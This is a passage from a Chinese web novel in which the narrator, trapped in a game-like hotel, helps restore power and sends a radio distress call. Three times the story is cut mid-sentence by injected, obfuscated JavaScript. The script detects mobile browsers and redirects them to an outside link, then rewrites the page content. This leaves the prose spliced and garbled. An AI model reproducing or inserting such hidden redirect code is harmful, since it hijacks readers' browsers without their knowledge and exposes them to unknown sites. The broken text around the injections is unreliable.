“我才没有撒谎呢,一直都没有哦!” 又在撒娇,心虚的时候尤甚。 我心道,那当然,你只需要说一半咽一半就好了,但我要考虑的可就多了。 第四个问题:你是用同样的方法离开房间的? 这回柳白巳很干脆地摇了摇头。 更奇怪了,那他到底怎么出去的?还能怎么另辟蹊径?爬通风管道? 可是房间里哪有通风管道?我记得浴室的通风系统做得很有水平,是隐藏在天花板上的一块石膏板后面的,石膏板侧面留出一条仅有一臂宽的缝隙供水汽通过,还做了无主灯设计,兼顾通风与照明。 别说像柳白巳这样体型正常的成年男性,就连侏儒也没法通过。 除非是纸片人,我可没开玩笑啊,得是正儿八经的纸片人,2D的,薄成一片纸,才有可能钻过去。 最后一个问题了。 我的大脑激烈地转动着。 问什么好? 40. 萨普莱斯(5) 我有一肚子的问题想问,抓心挠肺,甚至连原本计划的抓紧时间再去搜集一些物资,都不得不为此让步。 我想问实际上伊丽莎白那时是不是已经死了,否则怎么会放任一个大活人潜入自己的房间?她瞎吗? 我想问柳白巳是不是还会喷水吐火隐身透视,否则凭什么他们的异能都跟吃了菠菜一样超模,就我的是拿本小书从里面变点道具,还必须得是书中详细描述过的,凭什么?! 我还想问他为什么满身都是秘密,直到现在还有没发掘完的,这难道也是吸引我靠近的一种手段吗? 如果是,那他还真是用对对象了。没错,我就是这么一个喜欢打破砂锅问到底,不然就跟长了虱子一样浑身难受的人。 但我最终还是忍住了—— 忍忍忍,忍个头啊!再忍下去,我都成忍者神龟了!这世上还有人比我更憋屈吗?! “不问了。”我突然烦躁得不行,甩手就走,唾手可得的物资也不要了,“马上天黑了,回去吧。” “等等!” 小臂一紧,柳白巳的嗓音既焦急又恳切:“真的不问了吗?这次你想知道什么,我会直接告诉你。” 闻言,我转头,对上他双眼—— 果然,又变成了殷红的菱形竖瞳。 “又不经过我同意读我的心。” 我没有开口,只是定定地与他对视,同时把这句话标红、加粗、放大,拷问似的在心里一遍遍重复。 “对不起,我只是担心你……” 嘴上虽然道歉,但他仍然固执地没松手,那双看狗都深情的桃花眼关切地望着我,似乎能直直望进我心底去。 “你的情绪波动不正常,你自己也感觉到了吧?” 我当然知道自己的情绪很不对劲,虽然我鲜少有理智崩溃的时候,但在如此重压下,还不允许我小小发一下脾气吗? 头又开始疼了。我始终没说话,只是用手腕上那块凸出来的骨头照鼓胀的太阳穴捶去。 结果还没捶两下,又被他拦住,“我给你按。” 他的力道不轻不重,手指冰冰凉凉的,节奏也不疾不徐,一圈又一圈地揉按,竟真叫我的头疼缓解不少。我嗅着他身上那股清香,闭着眼静静享受,但心中那股被架在火上烤的焦灼感却依旧不减。 这感觉很熟悉,以前我一定也经历过,甚至非常频繁,仿佛在被人以挑剔的目光审视着—— 对,就是这样! 我猛地睁开眼,一把拉住柳白巳,“我们走。” “去哪?”他被我扯得踉跄一下,很茫然地问,但仍是第一时间紧紧跟上我。 我一语不发,只顾牵着他脚下狂奔。 哒哒一阵急促的脚步声过后,我们终于回到了四楼。 重新在门把手上打好齐柏林结,又扯了两下,确定牢固无比,我紧绷的腹部这才慢慢放松下来。 走廊尽头的窗外,天边最后一缕光线也被吞吃殆尽了,那股如附骨之疽的寒意亦消失不见。 此情此景下,避之唯恐不及的黑夜竟成了护身符。 我说不好究竟是哪里让我感到不安,但直觉告诉我,不宜在五楼久留。 “到底怎么了嘛——” “你们回来了?” 好好一句话被柳白巳硬生生抖成了山路十八弯。他嘴里最后一个尾音的勾子还未落下,另一头的405房,沃克推门而出。 他抬臂,特意避开了满手脏污,用手背扶了扶脸上略微下滑的眉框眼镜—— 哈,又没戴他的婚戒了。 不过这回算是情有可原吧,我也不喜欢把首饰弄得脏兮兮的。 “怎么样,有无线电设备吗?如果没有,我们得尽早准备其它预案。” “当然有。” 我向他详细描述了一番那座高大冰冷的金属塔,但并未提及其不合理的高度——毕竟跟一个游戏人物讨论在现实中才需要考虑的承重问题是没有意义的。 沃克神色严峻地听着,又一点头,“稍等,我有东西要给你们。” 他转身回了405,再出来时,已经洗干净手,拿着两个黑色的对讲机,给了我和柳白巳一人一个。 “这是我之前从一楼前台发现的,已经预先调好频道,只需按住电源键几秒钟,就能开启。” 这种对讲机是专供酒店内部工作人员使用的,尤其前台接待、礼宾员、保洁员、值班经理等职位,为了保持高效沟通,更是人手一个,所以出现在前台也不奇怪。 一听沃克说去了前台,我马上就想问问他有没有见过前台的女孩,但嘴刚张开,又冷静下来了。 现在再去问,还有什么意义呢? 说不定她连建模都没有,只是一串代码,仅仅存在于电话中而已。 我们花了些时间测试对讲机,整个过程可能连十分钟都不到,窗外夜色却愈发浓重,竟隐隐有月上中天的趋势。 不知道像沃克这样的NPC是否察觉得到时间在加速。 “端子已经制作得差不多了。夏,楼下的怪物绝不少于五个,所以明天需要你拿上枪,和我一起下楼,去配电室。你还有几发子弹?” “噢,剩的不多,但我想应付那些东西是足够了。” 虽然只剩七发子弹,但我对自己的枪法很自信,自然是一口应下。 再者,我也不放心把枪交给其它人。 “格林小姐,你会设置无线电发射器——差点儿忘了,不会也没关系,我来教……” 柳白巳根本看都不看他,懒懒地一掀眼皮,双臂一插—— “不会。” 他这副事不关己高高挂起的态度还挺气人的,就像中学时班上那种正值青春期的刺头,非暴力不合作,哏啾啾的,看谁都用下三白,为什么?因为黑眼珠子早就翻到头顶上去了呗。 虽然说服他是沃克的任务,但我也不由感到疑惑:柳白巳为什么又不愿意走了? 他难道不想快点摆脱当下的困境吗? “黛西·格林。” 沃克仍是好声好气的,但喊全名,已经足以说明他只是强忍着怒气不发作罢了。 “虽然我不知道你对我有哪里不满,但目前最要紧的是解决眼前严峻的形势,这一点希望你能明白。 “所以,请配合我们的行动,我相信你也不想继续待在这里,天天对着我这张令人生厌的脸,对吧?” 我的天,沃克为了说服柳白巳,竟然不惜搬出这种明显有悖于事实的违心之辞。我顿时感觉他浑身上下散发出的圣光灼得我脸都发烫,甚至想抬臂去挡一挡。 两人对峙,柳白巳没有正面回答他,只是视线向我这边一转—— 我连忙敛容正色,但我确信自己刚才的窃笑已被他瞥见了,不然他笑个屁,总不能是心血来潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609700|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模仿一下蒙娜丽莎吧? 思及此,我悄悄瞄了一眼他的瞳孔,见它们依旧是纯黑色的,这才放下心来。 “要我配合,可以,只是我有个条件。” “你说。” 沃克大约认为,“黛西”提出的要求再过分也不会过分到哪里去,所以很干脆地就点了头。 “我代替小夏,跟你一起下去,小夏上天台。” 我第一反应是我不得不把自己唯一的安全感来源交出去。 即使是暂时性的。 果然,沃克只不过是略略一皱眉,旋即便转向我,“夏,我知道你一定不放心把枪借给我,那借给格林小姐如何呢?你信得过她吗?” 我心道,你不应该来问我,而是应该问问自己,信不信得过“格林小姐”才对。 沃克这么精明的人怎么会想不到这一点?“黛西”明显对他心怀怨怼,他为什么还能放心地让他拿着枪? 还是说这也是他展现出的诚意?就赌“黛西”不会意气用事,在事成之前不会对他下手? 换成是我,是绝对不可能放心把枪交到先前对我展现出恶意的人手里的,我赌不起。况且现在又不是文明社会。 但我面上丝毫不显,只是颔首表示同意,毕竟不同意也没别的办法。 正好我有台笔记本电脑,沃克当即便运指飞快,噼里啪啦敲了一份详备的文档,教我如何使用Fldigi?发送信号。但碍于电力尚未恢复,所以下载和实操都得等到明天才行。 届时待沃克在一楼成功修复电路,再通过对讲机远程指导我如何操作。 而后我又去看望莫莉,试了试她额头的温度,确定她没有因为伤口感染而发烧,这才心弦微松。 我很快就能把你带出去了,再坚持一下吧。 我把一包黄油饼干塞进她手心。 好不容易忙完回房,一看表,已经过了半夜12点,时针甚至倾斜着,直直指向数字1。 掰着手指数了数大概还能睡多久,我顿时觉得天都塌了,澡也顾不上洗,往床上一躺,眼一闭,说:“我要睡了,明天记得叫醒我。” “要睡了?你还没洗澡呢。” 柳白巳闻言,进来给我掖了掖被角——他本来正在为我准备一应用具,并分门别类地放进双肩包里,十分贤惠。 我想不通只是再上个楼的功夫,他为什么要如此大费周章。 他却说自己非常在意我在五楼的异常举动。 虽然他什么也没察觉到,但既然我的第六感已经拉响了警报,那就一定要加倍警惕。 更何况,明天我要在没有枪傍身的情况下,独自一人行动。 他不说还好,一说真是令人忧心。 “不行,不能再焦虑下去了,我要赶紧睡觉,养精蓄锐。” 我把被子往上一拉,盖住脸,强迫自己放空大脑,“晚安。” “晚安。” 他俯身,轻轻摸了摸我的头发。 重压之下,本以为自己会难以入睡,但出乎意料的是,我一夜好眠,没有再做那些令我肠胃紧绷、每每只是回忆都几欲呕吐的噩梦。 萧鸮大抵是正忙着跑代码,也不再来扮周公了。 不知过了多久,我从黑甜的睡眠中一点一点拔出自己,漫无目的地躺了一会儿,突然想起来正事,于是抬臂一看—— 十二点了?! 41. 萨普莱斯(6) “啊!” 我惊叫一声,起尸状直挺挺坐起来,下意识大喊:“柳白巳!” “怎么了怎么了?又做噩梦了吗?” 还不等我再叫第二声,他已经慌慌张张跑进来。 “你怎么不叫我起——” 一抬眼,我埋怨的话登时堵在嘴边,下意识双唇一嘬——咻!吹了声流里流气的口哨。 Gosh,原谅我,第一眼关注的竟然是他的新穿搭。 长头看似随意地用玄色缎带扎了个低马尾,慵懒又温婉; 上身是很简单的黑衬衫,袖口挽起,胸前扣子随性地松了两颗,我甚至隐约能窥见他左胸肌肤上露出一小片新绿色的——咦,被他发现,红着脸挡住了。 切,不给看就不给看呗,我还不稀得看呢。 不过还是瞄到了一丁点儿的,那是文身吗?露出的那点图案弯弯绕绕,好像花体的英文字母"S",像一条正在爬行的竹叶青。 下身则是紧身牛仔裤和轻便的纯白运动鞋,青春洋溢。 最重要的是屁股很翘。翘到我都想拿件外套给他挡挡,如果在公共场合的话。 总之,看上去像个男大。 而且还是很有姿色的男大。 我不知不觉盯了半天,盯得他瓷面染霞,羞羞怯怯喊了声“小夏”,才蓦然回神。 食色性也、食色性也,这很正常。我拍拍脸,强行让自己从美色中清醒过来。 现在不是想这个的时候! 我翻身下床,把他推出去,打算换衣服,“改天穿低腰……不是,沃克也没醒吗?” 真是美色误人,险些就脱口而出要他穿低腰裤给我看了。 “早就醒了。”柳白巳乖乖顺着我的力道往外走,话里话外全是求夸奖,“每隔十分钟就来骚扰一次,烦死人了,我都怕他吵到你,你难得睡一个好觉。” 嘭嘭嘭—— “这不,又来了。”柳白巳道。 “黛西·格林!夏还在睡吗?已经中午了!” 砸门砸得一下比一下重,听得我心惊胆战。这架势,活像是要把门拆了闯进来。 “等一下!”我赶忙朝门外嚎了一嗓子。 外面的动静终于消停了。 “你没有找个借口吗?” 事已至此,再怪他也没用,我只能飞快往自己身上套衣服,“就直接跟他说我还没醒?” “当然不是,我说的是我还想睡,让他晚点过来。真是皇帝不急太监急。”柳白巳掩口而笑。 我真服了,他这嗓音一点倦意没有,沃克能信才怪呢。 等等,莫非他一晚上没睡? 我换好衣服,噔噔噔跑出来,先扫一眼他的脸: 嗯,还是那么精致完美,睫毛纤长卷翘,一张脸白白净净,像颗剥了皮的水煮蛋。 除了恰到好处的泪痣和唇边痣,别说眼下的阴影,连颗小雀斑也找不见。 时间紧急,我也管不了他到底睡没睡了,又噔噔噔跑进去,从枕头底下掏出那把枪,招呼他:“你来。” 于是柳白巳很乖巧地凑过来。 我问他:“你的准头怎么样?” “应该还不错。”他摆出严肃脸。 应该,唉,应该。 赶鸭子上架吧。 我说:“盯紧我的动作,虽然你可能用不上,但还是得教你卸弹。” 确定套筒后部左侧的保险栓位于"SAFE"处后,我将枪把底部的弹匣释放钮展示给他看,然后按下,弹匣便自动弹出。 我一瞧,六发子弹,那就是还有一颗在膛室里,于是左手握住套筒拉到底,把那颗子弹倒出来,喊柳白巳接住,再慢慢让套筒弹回去。 随后肩膀打开,双臂平举,左眼一闭,扣动扳机—— 铿! 是击锤与撞针碰撞时发出的清脆金属声。 没有子弹,开的自然是空枪。 “看,三点一线,说的就是准星、照门和目标,准星是最靠近枪口那个小点,照门就是套管尾部那个方形缺口,你开枪的时候要闭一只眼瞄准。” 我将这些地方逐一指给他看。 “另外,举枪的右手手臂一定要伸直,确保视线焦点在这条线上。左手掌心捧住右手掌侧和握把底部,支撑住右手,两手拇指靠在一起、搭在握把侧面,右手食指伸进扳机护圈内,虚虚地搭在扳机上。 “你打第一发的时候,需要手动上膛,即向后拉动套筒,拉到底,然后扣动扳机。因为这是一款半自动手枪,射击时产生的后坐力会自动完成上膛,所以再打第二发的时候,直接扣下扳机即可。” 最后我问他:“我讲明白了吗?” 柳白巳迟疑着点点头。 唉,就知道会是这样,分明是很简单的东西嘛。 我把子弹一颗颗装回弹匣,再插回枪把里,“咔嗒”一声,弹匣锁定。 然后右手持枪,左手一拉套管,喀拉——第一发子弹便上膛完成了。 “拿去。” 我把枪朝柳白巳怀里一丢,看他胆战心惊又手忙脚乱去接,忍俊不禁道:“没事的,保险栓关得好好的,到时候你只要把保险栓从‘SAFE’调到‘FIRE’,就可以直接射击了。只有七发子弹,用完就自求多福吧。” “你就知道玩我。” 柳白巳攥着枪,嘴角却蔫巴巴垂着,鼻子抽动两下,眼眶也微微发红,小动物似的,很委屈的样子。 哎哎哎,饭可以乱吃,话不能乱说啊,什么叫我玩你?听起来怪不正经的。 我们出门与沃克汇合,迎面却猛然撞见一个高大的奇行种! “柳——嗯?” 我刚要尖叫着喊柳白巳掏枪,再定睛一看: 交叠在胸前的双手戴着亮粉色塑胶手套,仿佛下一秒就要挽起袖子,把手泡进盛满洗洁精和油污的水池中。 两副墨镜一上一下架在脸上,将整张脸尽可能护得严实——但也只是徒增滑稽罢了,要是作业时真有电火花往上滋,恐怕那张漂亮的脸蛋儿就不保了。 但戴上肯定也比什么都不戴强。 这奇行种身上还穿着孔雀绿的连体防护服,一整套的背带裤,穿戴时要先把两只脚塞进裤管,然后再一直往上拉。这是保洁员平时清洁穿的工作服,材料大概是涤棉或者聚酯纤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609701|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维什么的,我摸不出来,但隐约记得似乎能绝缘,所以也让他穿上了。 好在这种衣服一般都比较肥大,不然我还真担心沃克穿不下。 唯一比较不违和的是他脚上那双马丁靴,但在以上时尚单品所联袂打造出的不伦不类氛围中,它竟然也显得与整体格格不入了。 我头一次见他穿戴得这么花里胡哨,与平日精心打造的精英形象大相径庭,于是嘴角不受控制地抽搐了好一会儿,表情差点就没绷住。 于是在我的欲笑又止中,肉眼可见地,沃克的脸色一寸一寸阴沉下去,简直比锅底还要黑了。 其实他完全可以先带上这些东西,准备要进配电室时再换上。但既然他已经全副武装了,我也不好意思再叫人家脱下来,所以就不提醒了吧。 绝对不是故意想看他出丑,绝对不是! 总之,一切终于准备就绪。 我们三人兵分两路——柳白巳和沃克·柯林斯前往一楼配电室维修电路,待恢复电力后,再由前往天台的我调制无线电、发射求救信号,并接收有可能的救援回应。 这回我留了个心眼,抬步登上楼梯,途径五楼时,特意放慢脚步,静止了几秒…… 但却什么也没感受到。 如鲠在喉,然而我只知道有根鱼刺卡在喉管,却不知道它具体扎在哪里,而我也无法看见这根刺的样子,更不清楚它究竟来自哪条鱼身上。 然而看不见却不代表不存在,卷卷舌尖挤压喉咙,横贯的刺痛感很快就会顺着舌咽、迷走、三叉神经,抵达大脑的体感皮层,让我食不下咽。 非要形容的话,大概是这种感觉。 但现在显然不是操心这个的时候。 时间仿佛被按下了二倍速,原先的一个小时被压缩为半个小时——不,甚至不止,也即距离天黑还有不到三个小时。 这怎么能不叫我心焦? 不能再耽搁下去了。我三步并作两步跃上台阶,嘭一声推开天台的不锈钢门,一路小跑来到发射塔下,气喘吁吁地掏出背包里的战斗道具: 耳机、对讲机、笔记本电脑、各种缠成一团的线——对了! 我连忙长按对讲机的电源键—— “砰!” 一声枪响。 我毫无准备,吓得手一抖,险些摔了对讲机。 “夏,听到我说话了吗!” “听到了!”我急忙应道。 而后手忙脚乱地打开发射器的箱盖,依次插上USB线、耳机、鼠标等等,又找了块相对平坦的高地安置笔记本电脑。一切收拾妥当,这才长舒了一口气。 “柯林斯先生,你们那边怎么样?” 我掏出一颗苹果,拿衣袖擦擦,对着锃光瓦亮的蜡面,咔嚓一口,嚼嚼嚼,狼吞虎咽,口齿不清地朝对讲机里喊。 “不、不太好……” 或许是信号传输有延迟,我又啃了两口苹果,才听见沃克的声音沙沙地从扬声器里传来,忽远忽近,喘息也很急促,仿佛正在拼命奔跑。 “这下面的尸体几乎都被怪物啃食过了,呼、呼……你说得对,它们的速度快得吓人!等等,不——” 42. 萨普莱斯(7) “砰!” 又一声枪响,听着距离对讲机不远。 我的咀嚼速度蓦地一慢,心顿时提到了嗓子眼。 仅剩五发子弹,但怪物呢? 怪物也只剩五只吗? 疲于奔命的情况下,即使是沃克,语言逻辑也不免颠三倒四。 但我听明白了,那句“你说得对”,指的应该是怪物靠吃人类的血肉“升级”一事,否则他没必要紧接着强调怪物的速度。 惴惴不安地等了半晌,对讲机才又冒出嗞嗞电流声。我连忙扑到边上,大喊:“黛西!柯林斯先生!你们还好吗?” 咔嘣咔嘣——沙沙—— 我只能捕捉到断断续续的杂音,时而伴随着阵阵蜂鸣声,仿佛有人在对讲机那头极高频地嚼着口香糖。 很有规律的白噪声,放在平时一定是哄睡好帮手。 然而我现在却毫无睡意。 “小夏!你能听见吗!” 是柳白巳! 真是如听仙乐耳暂明,对讲机里的声音一下子清晰了起来。 “能听见!你们那边怎么样了!” 我紧紧抓着对讲机,恨不得钻进里头去。 “我的对讲机坏了,刚才格林小姐把它扔出去,用来吸引怪物的注意力,那家伙把它嚼了个稀巴烂。” 沃克的语速很急促激烈,突突突打机关枪似的,生怕我听清一样,语气也很差,似乎正强压着滔天的怒意。 “哈!这下可好,我们只有一台对讲机可以用了!” 嘿,其实我挺能理解他的,因为我也经常被柳白巳气得七窍生烟。 话虽如此,但该打的圆场还是要打的。 “你们还剩几颗子弹?”我再次蹩脚地转移话题。 扬声器里一时没人说话,只传来“咔嗒”“咔嗒”的声音,节奏干脆,短促有力。 我能听出来,那是马丁靴的硬跟敲击地面所发出的小石子音,说明他们已经离开了地毯,来到了一大片铺设着瓷砖的区域。 比如一楼大堂。 “一颗!” 柳白巳的声音终于响起来。 他上气不接下气道:“我们刚经历了一场恶战,你肯定想象不到究竟有多么凶险! “这些怪物体型没有突变,表现得也和正常人无异,会说话、会交谈,甚至有自己的一套行事逻辑! “它们演了一出戏,装成一对带孩子的夫妻,丈夫一直殴打辱骂妻子,小孩在一旁嚎啕大哭,差点儿把柯林斯骗过去了,他还动了恻隐之心,想上去阻拦呢。” “我那是关心则乱!”沃克恼羞成怒的嗓音随后响起。 我不由失笑,然而嘴角刚上扬了几个像素点,又蓦然顿住—— 不对。 “你们现在打算去哪儿?”我赶紧问。 “去配电室啊,还能去哪儿?”柳白巳不明所以答道。 “告诉我,我给你的那套睡衣是什么颜色的。”我仍然不打算放松警惕,“用中文。” “粉色。”那头的声音听上去还是懵懵懂懂,但很听话地照做了。 “我的中文姓氏是什么?” “盛。” “你的身高?” “一米八六。” “体重?” “这个不能说哦。”他含笑答道。 看来是终于明白了我的意图。 而我也如释重负地松了口气: 听这欠揍的态度,应该是本人没错。 “柯林斯先生在你旁边?” “他快步走在我前面,好像不想跟我一块儿行动呢。” 柳白巳的语气听上去很受伤。 废话,你跟颗不定时炸弹似的,变数比这双重叠加的异能领域都大,别说沃克,我都心里犯怵。 虽然我依旧无法百分之百信任他,但眼下也只能拜托他了。 怀疑的沙砾已经漏进了胸腔中的蚌壳,像一颗即将成型的珍珠,硌得心脏生疼,令我实在无法忽视。只要新猜想一刻无法得到印证,我就一刻不得安生——虽然那些怪物已经被击杀得一干二净了。 所以我还是开口请求他:“一会儿等电力恢复了,你能不能去看看前台电脑里的入住登记信息?” “当然可以。”柳白巳没问为什么,一口应下。 说话间,扬声器里的脚步停了,沃克的声音远远传来,“我们到了。 “格林小姐,麻烦你将总闸关闭,并守在它跟前,等我处理好一切后再开启。 “切记,千万不要轻举妄动,我猜你也不愿意闻见电流炙烤人肉的焦香味吧?一旦漏电,你也难逃一劫。” “我又不蠢,不会那么不识大体。” 我能想象出,对讲机另一头的柳白巳耸了耸肩,用漫不经心的调调回答。 “哼,最好是这样。”沃克从鼻子里冷冷哼出一声。 “首先,验证电压是否为0,并确保残余电荷尽数释放。” 我兴致缺缺地听着,打了个哈欠。 恰在此时,一股冷风猛地扑来,好巧不巧灌进我大张的嘴里—— 霎时间,从喉管到肺都冻得透心凉,甚至连藏在我腹腔里空空如也的胃都被冷空气激得一缩,不满地蠕动着,咕噜咕噜发出两声抱怨。 我浑身一颤,马上把外套拉链唰地拉到最顶端,缩到发射箱侧面,企图借着不大的箱体为自己挡挡风。 不会拉肚子吧?拜托拜托,至少不要在这个时候…… “我现在要更换端子了。” 真不愧是专业人士,那头的沃克动作十分迅速,估计过不了几分钟就要轮到我出马了。 其实我高中的时候,物理成绩蛮不错的,还畅想过自己以后或许会成为一名物理学家。 但是,普通数学家半年的成果,比不过天才数学家的一下午——不单数学,物理也是如此。 自从我清楚地认识到这一点后,就果断放弃了成为物理学家的宏图大志。 截至目前,我的记忆恢复了大约百分之八十,还有百分之二十是完全空白的。 那些大概就是柳白巳所处的片段。 但他一个人就能占掉百分之二十?!这是一个多么恐怖的比例啊! 要知道,高中三年,在不考虑闰年的情况下,一共有365×3=1095天,1095×20%=219天,219×24=5256小时。假设我能活到80岁,一生中也只有133个完整的219天罢了。 219天什么概念?满打满算一个半学期啊! 难道我那几年光顾着跟他剪不断理还乱了? 其荒谬程度,令人发指到我都想质问自己一声:“您完全不学习吗?” 可是疑点也恰好在这里—— 家里管得严不说,我本人也不像是会早恋的啊。 不过也有可能前面不熟,后面慢慢熟络起来了吧?比如这5256小时大部分是在热恋期集中爆发的,毕竟主动见面肯定要比被动频率更高。 或是他的座位在我视线范围之内,比如他是我的前桌,或坐在斜前方之类的,平时听讲需要往前看,总免不了将他纳入我的视野中,所以我大脑里所留存着的包含他的画面自然而然就有这么多了。 这种情况听上去还靠谱些。 我正有一搭没一搭地思考着,就听沃克叫道:“格林小姐,可以打开总闸开关了!” 这一嗓子霍地把我的神智拉回笼。我闪到电脑前,敛声屏息地等候着,心脏怦怦直跳。 一时间两边都没人说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609702|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有咔啦几声杂音。 我漫无目的地望着林立的楼宇,心中默默祈祷这方法一定要管用。 要是不管用,那就只能当个植物人了——天杀的某个姓萧的等着照顾我下半辈子吧,我要像女鬼一样狠狠缠着你! 对了,说到植物人——如果没能在格式化完成前逃出去,柳白巳也会变成这样吗? 我现在还是没搞懂他究竟是怎么闯进来的。 因为萧鸮这家伙做了个网站,用来售卖自己编写的各个“副本”,在正式版发布之前,她总喜欢拉我帮她做Alpha测试,这回也是一样: 她抱着电脑,我们找了家酒店,开了个钟点房(萧鸮这只铁公鸡,多一分钱都不肯出,都是算好大概要花多长时间后才开房的),然后我躺下,将自己的意识载入副本中,她则在一旁监测数据,密切关注副本内发生的一切。 之所以要特意找家酒店,是因为异能管理局内部人多眼杂,而事务所那边又还在装修,倒不如直接出来,既清净又可以大展拳脚。 所以……柳白巳是正好下榻在这家酒店吗?否则又是如何闯进萧鸮的异能领域的? 而且竟然绕开了萧鸮的渠道?这才是最恐怖的地方。 再者,我近几年的记忆里没有他的身影,我们当初究竟是怎么回事? 说不定不是和平分手呢?第一天“黛西”怼我的时候像老母猪戴胸罩——一套又一套,用词尖酸,语气刻薄,跟条冲人吠叫的恶犬似的,看着我的眼里全是掩饰不住的怨恨——可笑的是我现在才意识到那是怨恨。 然而在“失忆”两个字脱口而出之后,他又一反既往,比牛皮糖还要黏人,说这里面没有古怪我是不信的。 他始终语焉不详,也怨不得我一直无法放下戒心。 片刻后,我终于听到沃克惊喜的声音传来: “有电了!夏,你快看看!” 我定睛一瞧,果不其然,电脑右下方的电池图标上已经出现了一颗小闪电! “别急,我马上安装Fldigi。” 调整输出设备、连接发射器、选择通信模式……我早将沃克教给我的内容牢记在心,眼疾手快,十指指腹几乎是在键盘上漂移,哒哒哒,众多按键飞速陷下又弹起,有时两个或三个甚至四个键同时响应,得亏这电脑性能过关,没卡。 哦对了,忘记说:令人惊喜的是,刚才一起床,我发现那根困扰了我好几天的尸块手指终于消失了! 我终于不用再忍受那股难闻的尸臭味了! 虽然不知道为什么它自己消失了,但总归是喜事一桩。我真该为我自己和这键盘关键时刻没掉链子卡键而庆祝一番。 一时间,空旷天台上回荡着噼里啪啦的键盘敲击音,和野兽嚎叫般的凄厉风啸,呜呜咻咻。 “怎么样了?” 沃克似乎一刻也等不了了,又催问道。 “就快了。” 啪的一声,回车键被狠狠按下。 我逐字逐句审视着屏幕上刚刚发送出去的内容: 「MAYDAYMAYDAYMAYDAY!Emergencydistresscall!WearetrappedatAnyoneHotel.Fourpeoplearestranded,andonepersonisinjuredandrequiresmedicalassistance.Pleaserespond!(求救、求救、求救!此为紧急求救信号!四人被困于Anyone酒店,其中一人受伤,需要医疗支援。听到请回答!)」 “完成了。然后呢?”我问。 “保持监听频道,重复发送。同时选择CW模式,点击TX,按住空格键——SOS的摩斯电码你会吧?” 43. 萨普莱斯(8) 当然会。 哒哒哒。 哒——哒——哒—— 哒哒哒。 SOS,三短三长三短。我专心致志盯紧屏幕,以每分钟一次的频率,两种信号交替持续发送,手指都快舞出残影。 同时耳朵还要专心分辨出疑似回复信号的响动,五感被全副调动起来,几乎应接不暇。 嗞嗞——嗞嗞—— "AnyoneHotel,thisis...wearecoordinatingrescue.Please...andstatus.(Anyone酒店,这里是……我们正在协调救援。请……和状况。)" 有了! 我欣喜若狂,强抑住一蹦三尺高的冲动,凝神去听回复内容。 "Repeat,AnyoneHotel,thisis...andRescueTeam.Maydayreceived,we...confirmyourpositionandstatus.(重复,Anyone酒店,这里是……和救援队。求救信号已收到,我们……确认你们的位置和状况。)" 糟了!根本听不清回复信号在说什么! 什么情况? 我皱着眉头环顾四周—— 天边莽莽黑云裹挟着摧枯拉朽之势席卷而来,如古战场上万马奔腾,铁蹄沉沉。 茫茫荡荡的云层之下,几条光柱聚光灯似的投下,空落落的天台全景登时一览无遗,根本没有任何阻碍…… 等等?! 我猛然抬头,向天空看去。 谁说没有任何阻碍? 丁达尔现象再次出现了。 这意味着什么,再明显不过—— 越是晴朗的天气,无线电发射效率越高。 相反的,潮湿空气会将部分无线电波吸收掉,尤其是高频信号;此外,云层还会反射或散射电波,削弱信号,或对其造成多径干扰。 那就调大发射功率! 我果断调高了输出功率,像自由女神像那样,一手高举着电脑尽可能避免干扰,另一只手仍然机械性地敲着键盘,竭力维持重复发射信号的动作,不敢有丝毫松懈。 我当然也不是没考虑过切换短波或跳频扩频,但沃克仅仅是提了一嘴,而我现在也腾不出手去翻那份文档。保险起见,当然是维持现状最好。 嗞嗞——"Fifthrepetition.AnyoneHotel...isAtheneNoctuaSearchandRescueTeam.Maydayreceived,wearecoordinatingrescue.Pleaseconfirmyourpositionandstatus.(第五次重复。Anyone酒店……是雅典娜·诺克图搜救队。求救信号已收到,我们正在协调救援。请确认你们的位置和状况。)" 终于听清了! 我几乎喜极而泣,简直都想跳起来,但马上忍住了。胳膊虽然酸得发僵,手上仍旧不敢放松,飞快打出一段回复,敲下回车键发送—— 「AnyoneHotel,fourpeoplearewaitingforrescue,oneofwhomisinjured.Confirmed.(Anyone酒店,四人待救援,其中一人受伤。已确认。)」 我屏住呼吸,牢牢蹲守在电脑旁,眼皮子都不敢眨,生怕惊醒这场美梦。 但也许是否极泰来,并不完全在意料之外的,仅仅过了几分钟,我便收到了第二、第三条完整回复: 「AnyoneHotel,rescueteamisenroute.Estimatedtimeofarrival:04:30(24-hour).(Anyone酒店,救援队已出发。预计到达时间:4点30分,24小时制。)」 「Wewillupdateyoueverytwohours.Monitorthisfrequencyandrespondifpossible.(我们会每两小时更新一次信息。请监听此频率,若能回复请确认。)」 「Received.(收到。)」 我敲下了最后一次回车键。 嗞嗞的电流声旋即消失,耳麦中重归寂静。 